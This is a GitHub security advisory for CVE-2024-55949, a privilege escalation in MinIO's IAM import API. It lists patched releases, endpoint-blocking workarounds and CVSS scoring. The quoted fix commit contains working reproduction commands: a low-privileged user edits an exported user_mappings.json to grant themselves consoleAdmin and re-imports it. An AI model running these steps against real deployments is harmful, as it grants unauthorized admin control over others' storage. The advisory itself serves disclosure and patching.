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MinIO vulnerable to privilege escalation in IAM import API

High severity GitHub Reviewed Published Dec 15, 2024 in minio/minio • Updated Dec 20, 2024

Package

gomod github.com/minio/minio (Go)

Affected versions

>= 0.0.0-20220623162515-580d9db85e04, < 0.0.0-20241213221912-68b004a48f41

Patched versions

0.0.0-20241213221912-68b004a48f41

Description

Impact

Privilege escalation in IAM import API, all users are impacted since MinIO commit 580d9db85e04f1b63cc2909af50f0ed08afa965f

Patches

commit f246c9053f9603e610d98439799bdd2a6b293427
Author: Aditya Manthramurthy <donatello@users.noreply.github.com>
Date:   Wed Dec 11 18:09:40 2024 -0800

    fix: Privilege escalation in IAM import API (#20756)
    
    This API had missing permissions checking, allowing a user to change
    their policy mapping by:
    
    1. Craft iam-info.zip file: Update own user permission in
    user_mappings.json
    2. Upload it via `mc admin cluster iam import nobody iam-info.zip`
    
    Here `nobody` can be a user with pretty much any kind of permission (but
    not anonymous) and this ends up working.
    
    Some more detailed steps - start from a fresh setup:
    
    ```
    ./minio server /tmp/d{1...4} &
    mc alias set myminio http://localhost:9000 minioadmin minioadmin
    mc admin user add myminio nobody nobody123
    mc admin policy attach myminio readwrite nobody nobody123
    mc alias set nobody http://localhost:9000 nobody nobody123
    
    mc admin cluster iam export myminio
    mkdir /tmp/x && mv myminio-iam-info.zip /tmp/x
    cd /tmp/x
    unzip myminio-iam-info.zip
    echo '{"nobody":{"version":1,"policy":"consoleAdmin","updatedAt":"2024-08-13T19:47:10.1Z"}}' > \
          iam-assets/user_mappings.json
    zip -r myminio-iam-info-updated.zip iam-assets/
    
    mc admin cluster iam import nobody ./myminio-iam-info-updated.zip
    mc admin service restart nobody
    ```

Workarounds

There are no workarounds possible, all users are advised to upgrade immediately if you don't run MinIO behind a load balancer.

Behind a load balancer / firewall such as nginx .

location /minio/admin/v2/import-iam {
...
}

location /minio/admin/v3/import-iam-v2 {
...

Following locations can be blocked from external access, temporarily disallowing the API calls completely until the deployments can be upgraded.

References

Refer minio/minio#20756 for more information

Binary Releases

AiStor Containers

quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z
quay.io/minio/aistor/minio:RELEASE.2024-12-13T13-42-41Z.fips

AiStor Binaries

Architecture: linux/amd64
Architecture: linux/arm64
Architecture: windows/amd64

Community Containers

quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z
quay.io/minio/minio:RELEASE.2024-12-13T22-19-12Z.fips

Community Binaries

Architecture: linux/amd64
Architecture: linux/arm64
Architecture: windows/amd64

Credits

Credit goes to National Security Agency for reporting this issue.

References

@harshavardhana harshavardhana published to minio/minio Dec 15, 2024
Published to the GitHub Advisory Database Dec 16, 2024
Reviewed Dec 16, 2024
Published by the National Vulnerability Database Dec 16, 2024
Last updated Dec 20, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required Low
User interaction None
Vulnerable System Impact Metrics
Confidentiality None
Integrity High
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

EPSS score

0.045%
(17th percentile)

Weaknesses

CVE ID

CVE-2024-55949

GHSA ID

GHSA-cwq8-g58r-32hg

Source code

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